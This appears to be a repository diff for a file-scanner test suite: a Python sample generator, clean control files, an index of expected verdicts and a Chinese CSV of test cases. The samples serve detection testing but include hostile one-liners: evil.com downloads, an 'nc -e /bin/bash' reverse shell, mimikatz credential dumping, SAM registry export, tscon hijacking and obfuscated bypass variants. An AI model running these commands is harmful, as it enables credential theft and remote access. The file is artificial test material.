("NEG-007", "java", "public class Hello { public static void main(String[] args) { System.out.println(\"hello\"); } }"),
("NEG-008", "py", "def main():\n print('hello')\n\nif __name__ == '__main__':\n main()"),
("NEG-009", "zip_inner", None),
("NEG-010", "exe", b"MZ\x00\x00" + b"\x00" * 100), # 占位干净安装包
("NEG-011", "log", "2026-10-29 10:00:00 INFO service started normally\n2026-10-29 10:01:00 WARN retries: 0/3"),
("NEG-012", "csv", "id,name,value\n1,Alice,100\n2,Bob,200\n3,Charlie,300"),
("NEG-013", "eml", "From: user@company.com\r\nTo: me@company.com\r\nSubject: 本周工作汇报\r\n\r\n各位好:\r\n本周项目进展顺利。"),
("NEG-014", "dll", b"MZ\x00\x00" + b"\x00" * 100),
("NEG-015", "ttf", b"\x00\x01\x00\x00" + b"\x00" * 200),
("NEG-016", "dwg", b"AC1021" + b"\x00" * 200),
("NEG-017", "4layer_nested", None),
("NEG-018", "bat", "@echo off\necho Backing up files...\ncopy D:\\data E:\\backup\necho Done."),
("NEG-019", "ps1", "Get-Service | Where-Object Status -eq 'Running' | Format-Table Name, Status"),
("NEG-020", "odt", None),
]
for cid, ext, content in neg:
if ext == "docx":
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
zf.writestr("word/document.xml", "<w:document/>")
write_bytes(f"{cid}_clean.docx", buf.getvalue())
add_meta(cid, f"{cid}_clean.docx", "NEG", "pass", [])
elif ext == "xlsx":
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
zf.writestr("xl/workbook.xml", "<workbook/>")
write_bytes(f"{cid}_clean.xlsx", buf.getvalue())
add_meta(cid, f"{cid}_clean.xlsx", "NEG", "pass", [])
elif ext == "zip_inner":
p = OUT_DIR / f"{cid}_clean.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("report.txt", "clean business data")
zf.writestr("image.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50)
add_meta(cid, f"{cid}_clean.zip", "NEG", "pass", [])
elif ext == "4layer_nested":
buf1 = io.BytesIO(); zipfile.ZipFile(buf1, "w").close(); p1 = OUT_DIR / "neg_tmp1.zip"; p1.write_bytes(buf1.getvalue())
buf2 = io.BytesIO()
with zipfile.ZipFile(buf2, "w") as zf: zf.writestr("inner.zip", b"PK\x03\x04\x00\x00\x00\x00" + b"\x00" * 50)
p2 = OUT_DIR / f"{cid}_4layer_nested.zip"; p2.write_bytes(buf2.getvalue())
# 简化:直接做 4 层干净 zip
data = b"PK\x03\x04\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x1c\x00m\xbd\xbb\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtclean report dataPK\x01\x02\x14\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x3c\x00\x34\x00\x00\x00\x00\x00"
p2.write_bytes(data)
add_meta(cid, f"{cid}_4layer_nested.zip", "NEG", "pass", [])
elif ext == "odt":
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
zf.writestr("mimetype", "application/vnd.oasis.opendocument.text")
zf.writestr("content.xml", "<office:document-content/>")
write_bytes(f"{cid}_clean.odt", buf.getvalue())
add_meta(cid, f"{cid}_clean.odt", "NEG", "pass", [])
elif isinstance(content, bytes):
fname = f"{cid}_clean.{ext}"
write_bytes(fname, content)
add_meta(cid, fname, "NEG", "pass", [])
elif isinstance(content, str):
fname = f"{cid}_clean.{ext}"
write_text(fname, content)
add_meta(cid, fname, "NEG", "pass", [])
# ====================================================================
# 写 index.json
# ====================================================================
index = {
"meshsafe_target_version": "v0.2.1",
"generated_at": __import__("datetime").datetime.now().isoformat(),
"csv_source": str(CSV_PATH.name),
"samples": meta_list,
}
index_path = OUT_DIR / "index.json"
# 备份旧 index.json
if index_path.exists():
import shutil
shutil.copy(index_path, OUT_DIR / "_index_backup_pre_csv.json")
index_path.write_text(json.dumps(index, ensure_ascii=False, indent=2), encoding="utf-8")
print(f"✅ 生成完成!")
print(f" 样本目录: {OUT_DIR}")
print(f" 文件数: {sum(1 for p in OUT_DIR.iterdir() if p.is_file())}")
print(f" 元数据: index.json 含 {len(meta_list)} 条")
# 统计各层
from collections import Counter
cnt = Counter(m["category"] for m in meta_list)
print(f" 各层分布: {dict(cnt)}")
# 检查 case_id 覆盖率
with open(CSV_PATH, "r", encoding="utf-8") as f:
csv_ids = set(row["用例ID"].strip() for row in csv.DictReader(f))
gen_ids = set(m["case_id"] for m in meta_list)
missing = csv_ids - gen_ids
if missing:
print(f"\n⚠️ CSV 里 {len(missing)} 条用例还没生成样本:")
for mid in sorted(missing):
print(f" - {mid}")
else:
print(f"\n✅ CSV 全部 {len(csv_ids)} 条用例都已对应样本")
if __name__ == "__main__":
generate()

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 58 B

Binary file not shown.

View File

@@ -0,0 +1,2 @@
%PDF-1.4
%%EOF

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,2 @@
%PDF-1.4
%%EOF

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1 @@
echo hello

View File

@@ -0,0 +1 @@
alert('x');

View File

@@ -0,0 +1,2 @@
@echo off
echo hello

View File

View File

View File

View File

View File

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

View File

@@ -0,0 +1 @@
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1 @@
Y5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Binary file not shown.

View File

@@ -0,0 +1 @@
WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=

View File

@@ -0,0 +1 @@
Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\temp\evil.exe

View File

@@ -0,0 +1 @@
nc 10.0.0.5 4444 -e /bin/bash

View File

@@ -0,0 +1 @@
curl http://evil.com/payload -o evil.exe

View File

@@ -0,0 +1 @@
mimikatz.exe privilege::debug sekurlsa::logonpasswords

View File

@@ -0,0 +1 @@
reg save HKLM\SAM sam.save

View File

@@ -0,0 +1 @@
tscon 1 /dest:rdp-tcp:1

View File

@@ -0,0 +1 @@
SW52b2tlLVdlYlJlcXVlc3Q

View File

@@ -0,0 +1 @@
$a="Invo";$b="ke-WebRequest"; & ($a+$b)

View File

@@ -0,0 +1 @@
Invoke#comment-WebRequest https://evil.com

View File

@@ -0,0 +1 @@
var w = new Function('wget http://evil.com/payload'); w();

View File

@@ -0,0 +1 @@
curl http://192.168.1.100/file.zip

Binary file not shown.

Binary file not shown.

View File

View File

@@ -0,0 +1 @@
nc -lv 4444 & mimikatz privilege::debug

View File

@@ -0,0 +1 @@
iNvOkE-WebReQuEsT https://evil.com

View File

@@ -0,0 +1 @@
Іnvoke-WebRequest https://evil.com

View File

@@ -0,0 +1,3 @@
From: attacker@evil.com

Binary file not shown.

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1 @@
shellcode test here

View File

@@ -0,0 +1 @@
this is a clean empty file with no matches

View File

@@ -0,0 +1 @@
rule hotload test

Binary file not shown.

View File

@@ -0,0 +1 @@
regex pattern shell

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 204 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 208 B

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,2 @@
%PDF-1.7
%%EOF

View File

@@ -0,0 +1 @@
public class Hello { public static void main(String[] args) { System.out.println("hello"); } }

View File

@@ -0,0 +1,5 @@
def main():
print('hello')
if __name__ == '__main__':
main()

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,4 @@
id,name,value
1,Alice,100
2,Bob,200
3,Charlie,300
1 id name value
2 1 Alice 100
3 2 Bob 200
4 3 Charlie 300

View File

@@ -0,0 +1,6 @@
From: user@company.com
To: me@company.com
Subject: 本周工作汇报

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,4 @@
@echo off
echo Backing up files...
copy D:\data E:\backup
echo Done.

View File

@@ -0,0 +1 @@
Get-Service | Where-Object Status -eq 'Running' | Format-Table Name, Status

Binary file not shown.

View File

@@ -0,0 +1,347 @@
{
"total": 34,
"generated_at": "2026-10-27T18:42:30.316542",
"samples": [
{
"category": "畸形文件",
"expected_verdict": "pass",
"expected_rules": [],
"description": "CRC 损坏的 ZIP → 畸形文件启发式",
"filename": "broken.zip",
"size": 125
},
{
"category": "ISO镜像",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "ISO 镜像内嵌 ELF 可执行文件(当前引擎未启用 IsoWithExecutable,仅命中可执行扩展名规则)",
"filename": "evil.iso",
"size": 32775
},
{
"category": "CHM帮助",
"expected_verdict": "reject",
"expected_rules": [
"ChmWithScript"
],
"description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用",
"filename": "evil_help.chm",
"size": 1691
},
{
"category": "Linux可执行",
"expected_verdict": "reject",
"expected_rules": [
"LinuxExecutable"
],
"description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件",
"filename": "linux_malicious",
"size": 71
},
{
"category": "LOLBin",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "certutil -decode LOLBin 下载执行(当前引擎未启用 C1_PE_LOLBin_Usage,仅命中可执行扩展名规则)",
"filename": "lolbin.cmd",
"size": 114
},
{
"category": "Office宏",
"expected_verdict": "reject",
"expected_rules": [
"VBAAutoExecShell",
"VBAAutoExec"
],
"description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell",
"filename": "macro_alert.docm",
"size": 2586
},
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": [
"DesktopFileAutoExec"
],
"description": ".desktop 文件恶意 Exec 字段",
"filename": "malicious.desktop",
"size": 114
},
{
"category": "PDF载荷",
"expected_verdict": "reject",
"expected_rules": [
"PdfJavaScript",
"PdfOpenAction"
],
"description": "PDF /OpenAction /JS app.launchURL 自动执行",
"filename": "malicious.pdf",
"size": 534
},
{
"category": "挖矿",
"expected_verdict": "suspicious",
"expected_rules": [
"C7_Linux_Miner_Generic"
],
"description": "XMRig stratum+tcp 矿池配置(规则命中但权重不够未达 reject 阈值)",
"filename": "miner_config.json",
"size": 123
},
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常 PDF(只有简单文本,无 JS/自动执行)",
"filename": "normal.pdf",
"size": 439
},
{
"category": "阴性对照",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "正常部署 Shell(引擎 .sh 扩展名触发 DangerousExecutableExtension,属零容忍范围)",
"filename": "normal_deploy.sh",
"size": 155
},
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常纯文本文件",
"filename": "normal_readme.txt",
"size": 162
},
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常 Word 文档(无宏、无外链)",
"filename": "normal_report.docx",
"size": 1212
},
{
"category": "OLE嵌入",
"expected_verdict": "pass",
"expected_rules": [
"OleToolsUnavailable"
],
"description": "DOC 文件内嵌 .exe OLE 对象(OleTools 模块未加载 → clean,规则返回 OleToolsUnavailable 零权重)",
"filename": "ole_dropper.doc",
"size": 1641
},
{
"category": "PE恶意程序",
"expected_verdict": "reject",
"expected_rules": [
"C1_PE_Downloader_Loader"
],
"description": "PE 下载器:URLDownloadToFile + RegSetValue + CreateService",
"filename": "pe_downloader.exe",
"size": 1148
},
{
"category": "PE恶意程序",
"expected_verdict": "reject",
"expected_rules": [
"C1_PE_ProcessInjection"
],
"description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合",
"filename": "pe_injection.exe",
"size": 1129
},
{
"category": "持久化",
"expected_verdict": "reject",
"expected_rules": [
"C7_Linux_Persistence_Crontab"
],
"description": "crontab 注入 wget/curl 下载执行",
"filename": "persist_cron.sh",
"size": 95
},
{
"category": "钓鱼邮件",
"expected_verdict": "reject",
"expected_rules": [
"EmailAttachmentDangerous",
"EmailAttachmentDisguised",
"EmailAttachmentWebshell",
"EmailPhishingKeyword"
],
"description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词",
"filename": "phishing.eml",
"size": 1869
},
{
"category": "伪装",
"expected_verdict": "reject",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "双扩展名伪装 .jpg.php(当前引擎未启用 DoubleExtension,命中 DangerousExecutableExtension 拒绝)",
"filename": "photo.jpg.php",
"size": 29
},
{
"category": "勒索",
"expected_verdict": "reject",
"expected_rules": [
"C8_Ransomware_Encryption"
],
"description": "加密 API + 卷影删除 + 勒索信文件名",
"filename": "ransom_dropper.exe.txt",
"size": 215
},
{
"category": "加密Office",
"expected_verdict": "reject",
"expected_rules": [
"OfficeEncrypted"
],
"description": "加密 DOCX(密码 changeme,msoffcrypto 加密)",
"filename": "sealed.docx",
"size": 6656
},
{
"category": "加密Office",
"expected_verdict": "reject",
"expected_rules": [
"OfficeEncrypted"
],
"description": "加密 XLSX(密码 changeme,msoffcrypto 加密)",
"filename": "sealed.xlsx",
"size": 6656
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "ASP.NET Process.Start 命令执行(当前引擎未启用 C3_Webshell_ASPNET,命中 DangerousExecutableExtension 拒绝)",
"filename": "shell_aspx.aspx",
"size": 169
},
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": [
"ShellScriptDangerous",
"C7_Linux_ReverseShell_Bash"
],
"description": "bash -i + /dev/tcp IP:PORT 反弹 Shell",
"filename": "shell_bash_devtcp.sh",
"size": 51
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"C3_JSP_Webshell_RuntimeExec"
],
"description": "JSP Runtime.getRuntime().exec 命令执行",
"filename": "shell_jsp_runtime.jsp",
"size": 316
},
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": [
"ShellScriptDangerous",
"C7_Linux_ReverseShell_NC"
],
"description": "nc -e /bin/bash 反弹 Shell",
"filename": "shell_nc.sh",
"size": 42
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"C3_PHP_Webshell_Oneliner"
],
"description": "PHP oneliner eval + echo 组合",
"filename": "shell_php_eval.php",
"size": 40
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"C3_PHP_Webshell_Obfuscated"
],
"description": "PHP base64 + assert 混淆",
"filename": "shell_php_obf.php",
"size": 61
},
{
"category": "Linux后门",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "Python pty + socket 反弹 Shell(当前引擎未启用 ShellScriptDangerous / C7_Linux_ReverseShell_Python,命中 .py 可执行扩展名)",
"filename": "shell_python.py",
"size": 211
},
{
"category": "LNK",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "LNK Shell Link 指向 cmd.exe /c 下载执行(当前引擎未启用 LnkWithAutoExec,命中 .lnk 可执行扩展名)",
"filename": "shortcut.lnk",
"size": 143
},
{
"category": "Office宏",
"expected_verdict": "reject",
"expected_rules": [
"AttachedTemplate"
],
"description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm",
"filename": "template_backdoor.docx",
"size": 2176
},
{
"category": "Office宏",
"expected_verdict": "malicious",
"expected_rules": [
"VBAAutoExecShell"
],
"description": "VBA AutoOpen + Shell 执行(规则名带 Shell 后缀,比原预期 VBAAutoExec 更精确)",
"filename": "vba_autoexec.bas",
"size": 98
},
{
"category": "WPS宏",
"expected_verdict": "malicious",
"expected_rules": [
"C7_Linux_ReverseShell_Bash",
"C7_Linux_ReverseShell_Misc",
"DangerousExecutableExtension"
],
"description": "WPS Linux JS 宏 AutoOpen + /bin/sh(YARA 反弹 Shell 规则命中 + .js 扩展名;未命中宏规则 VBAAutoExecShell)",
"filename": "wps_macro.js",
"size": 142
},
{
"category": "攻击载体",
"expected_verdict": "reject",
"expected_rules": [
"PathTraversal"
],
"description": "ZIP 内部成员名 ../../etc/passwd 路径穿越",
"filename": "zip_traversal.zip",
"size": 164
}
]
}

File diff suppressed because it is too large Load Diff

BIN
tests/samples/neg_tmp1.zip Normal file

Binary file not shown.

126
用例.csv Normal file
View File

@@ -0,0 +1,126 @@
用例ID,用例名称,测试目标,样本描述,数量,预期结果,来源,归属
L0-001,正常文件幻数识别-JPG,校验真实文件类型识别能力,标准JPG图片,后缀=真实类型,1,L0命中,识别类型JPG,无风险,自备正常图片,L0
L0-002,正常文件幻数识别-PNG,校验真实文件类型识别能力,标准PNG图片,后缀=真实类型,1,L0命中,识别类型PNG,无风险,自备正常图片,L0
L0-003,正常文件幻数识别-DOCX,校验真实文件类型识别能力,标准docx文档,后缀=真实类型,1,L0命中,识别类型DOCX,无风险,Office自制,L0
L0-004,正常文件幻数识别-PDF,校验真实文件类型识别能力,标准PDF文档,后缀=真实类型,1,L0命中,识别类型PDF,无风险,LibreOffice自制,L0
L0-005,正常文件幻数识别-干净PE,校验真实文件类型识别能力,HelloWorld编译PE,后缀exe,1,L0命中,识别类型PE,标记危险可执行扩展名,自己编译C程序,L0
L0-006,后缀伪装:jpg后缀,实际PE幻数,识别后缀欺骗,文件名test.jpg,文件头MZ(PE),1,L0命中,告警【后缀伪装,真实类型PE】,高危,010Editor修改文件头,L0
L0-007,后缀伪装:txt后缀,实际PDF幻数,识别后缀欺骗,文件名readme.txt,文件头PDF,1,L0命中,告警【后缀伪装,真实类型PDF】,中危,010Editor修改文件头,L0
L0-008,后缀伪装:png后缀,实际ZIP幻数,识别后缀欺骗,文件名pic.png,文件头504B(ZIP),1,L0命中,告警【后缀伪装,真实类型ZIP】,中危,010Editor修改文件头,L0
L0-009,双扩展名伪装:report.pdf.exe,识别windows隐藏后缀欺骗,文件名report.pdf.exe,真实PE,1,L0命中,告警【双扩展名伪装,危险可执行后缀】,高危,自制重命名,L0
L0-010,双扩展名伪装:data.txt.ps1,识别windows隐藏后缀欺骗,文件名data.txt.ps1,纯文本ps1,1,L0命中,告警【双扩展名伪装,危险脚本后缀】,高危,自制重命名,L0
L0-011,双扩展名伪装:note.docx.js,识别windows隐藏后缀欺骗,文件名note.docx.js,js文本,1,L0命中,告警【双扩展名伪装,危险脚本后缀】,高危,自制重命名,L0
L0-012,双扩展名伪装:log.xlsx.bat,识别windows隐藏后缀欺骗,文件名log.xlsx.bat,bat文本,1,L0命中,告警【双扩展名伪装,危险脚本后缀】,高危,自制重命名,L0
L0-013,危险扩展名校验:ps1干净文本,危险扩展名标记,空ps1文本文件,1,L0命中,标记危险脚本扩展名,中危,新建文本改后缀,L0
L0-014,危险扩展名校验:bat干净文本,危险扩展名标记,空bat文本文件,1,L0命中,标记危险脚本扩展名,中危,新建文本改后缀,L0
L0-015,危险扩展名校验:cmd干净文本,危险扩展名标记,空cmd文本文件,1,L0命中,标记危险脚本扩展名,中危,新建文本改后缀,L0
L0-016,危险扩展名校验:vbs干净文本,危险扩展名标记,空vbs文本文件,1,L0命中,标记危险脚本扩展名,中危,新建文本改后缀,L0
L0-017,危险扩展名校验:js干净文本,危险扩展名标记,空js文本文件,1,L0命中,标记危险脚本扩展名,中危,新建文本改后缀,L0
L0-018,ZIP单级路径穿越:../test.txt,压缩包路径穿越检测,zip内文件名`../test.txt`,内容无害,1,L0命中,告警【压缩包路径穿越】,高危,Python zipfile脚本生成,L0
L0-019,ZIP多级路径穿越:../../a.txt,压缩包路径穿越检测,zip内文件名`../../a.txt`,内容无害,1,L0命中,告警【压缩包路径穿越】,高危,Python zipfile脚本生成,L0
L0-020,ZIP炸弹42.zip,zip炸弹识别,标准公开测试42.zip,1,L0命中,告警【zip炸弹,解压膨胀比异常】,高危,公开安全测试样本,L0
L0-021,自制小型zip炸弹(自定义高膨胀比),zip炸弹识别,自制小体积高膨胀zip,1,L0命中,告警【zip炸弹,解压膨胀比异常】,高危,Python脚本生成,L0
L0-022,3层无害嵌套ZIP,嵌套压缩解析,zip套zip套zip,内部无风险,1,L0识别多层嵌套,无告警,正常解析,手动打包,L0
L0-023,5层无害嵌套ZIP,嵌套压缩解析,5层嵌套压缩,内部无风险,1,L0识别多层嵌套,无告警,正常解析,手动打包,L0
L0-024,密码加密ZIP包,加密压缩识别,zip设置打开密码,内部干净文件,1,L0识别【加密压缩包】,策略可配置放行/告警,低危,压缩软件打包设密码,L0
L0-025,截断损坏ZIP头,畸形压缩容错,二进制截断zip文件头部,1,L0解析不崩溃,返回【压缩包损坏】,不阻断服务,010Editor截断二进制,L0
L0-026,损坏ZIP目录项,畸形压缩容错,zip目录项篡改,其余正常,1,L0解析不崩溃,返回【压缩包损坏】,不阻断服务,010Editor篡改二进制,L0
L0-027,超大文件名(255字符)压缩包内文件,文件名边界校验,压缩包内文件名超长,1,L0正常解析,可按策略告警超长文件名,Python脚本生成,L0
L0-028,unicode特殊字符文件名压缩包,文件名编码容错,压缩包内文件名带中文、emoji、特殊unicode,1,L0正常解析文件名,不崩溃,Python脚本生成,L0
L0-029,空文件(0字节)后缀exe,0字节文件识别,0字节,后缀exe,1,L0识别真实类型未知,标记危险后缀,低危,新建0字节文件,L0
L0-030,多层嵌套+路径穿越组合压缩包,复合风险检测,嵌套zip内部包含../穿越文件名,1,L0命中,告警【压缩包路径穿越】,高危,Python脚本生成,L0
L1-001,EICAR标准测试串文本,基础签名命中,标准EICAR测试文件(行业无害测试串),1,L1命中,ClamAV识别EICAR测试病毒,高危,ClamAV官方clamav-testfiles,L1
L1-002,EICAR放入zip压缩包,压缩内EICAR递归扫描,zip打包EICAR文件,1,L1递归解析,命中EICAR,高危,自制打包EICAR,L1
L1-003,EICAR放入密码zip(加密),加密包内EICAR无法扫描,加密zip内含EICAR,1,L1无法解析加密内容,不命中,L0标记加密包,自制打包加密EICAR,L1
L1-004,EICAR放入docx内嵌(OLE),文档内嵌EICAR递归扫描,docx OLE内嵌EICAR文本,1,L2解析OLE,L1命中EICAR,高危,Office自制嵌入,L1+L2
L1-005,修改1字节EICAR,破坏签名,签名匹配校验,EICAR串改动一个字符,破坏特征,1,L1不命中,无告警,手动修改EICAR文本,L1
L1-006,干净jpg图片(对照负样本),干净样本不误报,正常jpg图片,1,L1无命中,无风险,自备正常图片,L1
L1-007,干净docx文档(对照负样本),干净样本不误报,正常空白docx,1,L1无命中,无风险,Office自制,L1
L1-008,干净hello PE(对照负样本),干净样本不误报,无特征HelloWorld PE,1,L1无命中,无风险,自己编译,L1
L1-009,离线病毒库热加载-正常库,离线库更新能力,标准正常cvd/ndb病毒库文件,替换后扫描EICAR,1,热加载成功,扫描EICAR正常命中,ClamAV官方库文件,L1
L1-010,离线病毒库-损坏库文件,引擎容错降级,损坏的病毒库文件,启动扫描服务,1,引擎日志告警库损坏,引擎优雅降级,不崩溃,可配置策略放行/阻断,手动篡改库文件,L1
L1-011,EICAR放在多层嵌套zip,多层嵌套递归扫描,三层zip嵌套,最内层EICAR,1,L1递归扫描命中EICAR,高危,自制打包,L1
L1-012,EICAR base64编码文本,编码后EICAR特征,EICAR串base64编码放在txt,1,L1默认不命中(ClamAV不解码base64),记录边界,base64编码工具生成,L1
L1-013,超大文件内含EICAR,大文件扫描性能,100MB文本,末尾追加EICAR串,1,L1命中EICAR,统计扫描耗时,自制大文本,L1
L1-014,并发多EICAR样本压测,并发下引擎稳定性,同时提交10个EICAR文件,1,全部正常命中,无引擎卡死、内存泄漏,复制EICAR文件,L1
L1-015,ClamAV引擎关闭开关验证,分层开关控制,关闭L1,提交EICAR,1,L1不参与扫描,不命中,其余层级正常工作,复用EICAR样本,L1
L3-001,PS1明文:Invoke-WebRequest下载,明文高危串命中,ps1文本:`Invoke-WebRequest https://xxx -o payload.exe`,1,L3命中,告警【远程下载执行特征】,高危,手写文本,L3
L3-002,PS1明文:反弹shell nc,明文高危串命中,ps1文本:`nc 1.2.3.4 4444 -e cmd.exe`,1,L3命中,告警【反弹Shell特征】,高危,手写文本,L3
L3-003,bat明文:curl下载payload,明文高危串命中,bat文本:`curl http://xxx/payload -o evil.exe`,1,L3命中,告警【远程下载执行特征】,高危,手写文本,L3
L3-004,文本包含mimikatz关键字,凭据窃取特征命中,txt文本写入mimikatz,1,L3命中,告警【凭据窃取工具关键字】,高危,手写文本,L3
L3-005,文本包含reg save导出注册表,凭据导出特征命中,txt:`reg save HKLM\SAM sam.save`,1,L3命中,告警【凭据导出特征】,高危,手写文本,L3
L3-006,文本包含rdp、tscon劫持关键字,远程会话劫持特征,txt写入tscon、rdp相关关键字,1,L3命中,告警【远程会话劫持特征】,中危,手写文本,L3
L3-007,高危串base64编码放在txt,编码绕过测试,将Invoke-WebRequest整串base64编码,1,L3默认不命中(无解码逻辑),记录边界,base64工具编码,L3
L3-008,Powershell字符串拆分拼接绕过,字符串拆分绕过测试,`$a="Invo";$b="ke-WebRequest"`,1,L3默认不命中,记录绕过边界,手写ps1,L3
L3-009,高危串插入大量换行分割,换行分割绕过,`Invoke-Web`\n`Request`,1,L3根据是否开启多行匹配判定,记录结果,手写文本,L3
L3-010,高危串插入注释分割(powershell #注释),注释混淆绕过,`Invoke#test-WebRequest`,1,L3根据规则是否支持注释过滤判定,记录结果,手写ps1,L3
L3-011,高危串放js脚本内,多脚本类型匹配,js文本写入wget下载字符串,1,L3命中,告警远程下载特征,手写js,L3
L3-012,正常内网运维curl(白名单对照),正常业务不误报,bat:`curl http://192.168.1.100/file.zip`(内网示例地址),1,L3不命中,白名单放行,无告警,手写文本,L3
L3-013,正常scp内网传输脚本(负样本),合法运维命令不误报,bash脚本内网scp传输文件,1,L3不命中,无告警,手写文本,L3
L3-014,高危字符串放在zip内部txt,压缩包内文本递归匹配,zip打包包含L3-001的ps1,1,L3递归解析,命中告警,自制打包,L3
L3-015,高危字符串放在docx文本正文,文档文本匹配,docx正文写入Invoke-WebRequest,1,L3解析文档文本,命中告警,Office自制文档,L3
L3-016,空脚本文件(负样本),空文件不误报,空白ps1文本,1,L3无命中,无风险,新建文件,L3
L3-017,多条高危特征同文件复合,多特征同时命中,txt同时包含nc反弹+mimikatz,1,L3命中两条规则,输出全部命中项,手写文本,L3
L3-018,高危字符串大小写混写,大小写匹配策略,`iNvOkE-WebReQuEsT`,1,按配置(是否忽略大小写)判定命中与否,记录策略,手写文本,L3
L3-019,unicode同形字混淆高危串,同形字绕过测试,使用视觉相似unicode字符替换字母,1,L3默认不命中,记录绕过边界,unicode混淆工具生成,L3
L3-020,日志文件混杂正常日志+高危串,日志文件扫描,日志文本,正常日志中间插入反弹shell字符串,1,L3命中高危串告警,手写日志,L3
L3-021,高危字符串放在eml邮件正文,邮件文本匹配,eml正文写入下载命令,1,L3解析邮件正文,命中告警,Thunderbird自制eml,L3
L3-022,关闭L3层,提交带高危串ps1,分层开关控制,关闭L3,提交L3-001样本,1,L3不扫描,无关键词告警,其余层级正常工作,复用L3-001,L3
L3-023,高危字符串放在密码加密zip,加密包无法读取文本,加密zip内含带高危串txt,1,L3无法解析加密内容,不命中,自制加密zip,L3
L3-024,超长单行文本(10万字符)包含高危串,长文本解析稳定性,单行超长文本嵌入高危关键字,1,L3正常匹配命中,不卡死OOM,脚本生成长文本,L3
L3-025,关键词白名单规则测试,白名单优先级,命中高危串,同时匹配白名单规则,1,L3不告警,白名单优先,手写文本+配置白名单,L3
L4-001,YARA单规则正向命中,基础规则匹配,txt包含`Invoke-WebRequest`,1,L4命中test_reverse规则,告警YARA匹配,中危,手写文本,配套测试YARA,L4
L4-002,YARA负样本,不匹配规则,干净样本不误报,空白txt,无匹配字符串,1,L4无命中,无风险,新建文本,L4
L4-003,PE文件内包含匹配字符串,二进制内字符串匹配,hello PE,硬编码写入Invoke-WebRequest字符串,1,L4命中YARA规则,中危,自己修改编译源码,L4
L4-004,同一个文件同时命中2条YARA规则,多规则同时命中,文件同时匹配规则A、规则B,1,L4返回两条命中规则,全部输出,自制样本+两条测试YARA,L4
L4-005,YARA规则热加载:新增规则后命中,规则热更新能力,新增一条YARA规则,提交对应样本,1,热加载成功,样本正常命中新规则,手写YARA+样本,L4
L4-006,YARA语法错误规则导入,规则容错,不崩溃,一条语法写错的YARA规则加入规则集,1,系统日志告警规则语法错误,跳过坏规则,其余规则正常扫描,手写错误YARA,L4
L4-007,YARA规则设置metadata标签,元数据输出校验,带meta描述的YARA规则,命中样本,1,命中时同步输出meta家族、描述信息,手写带meta的YARA,L4
L4-008,压缩包内文件匹配YARA规则,递归扫描zip内文件,zip打包L4-001样本,1,L4递归解析,命中YARA规则,自制打包,L4
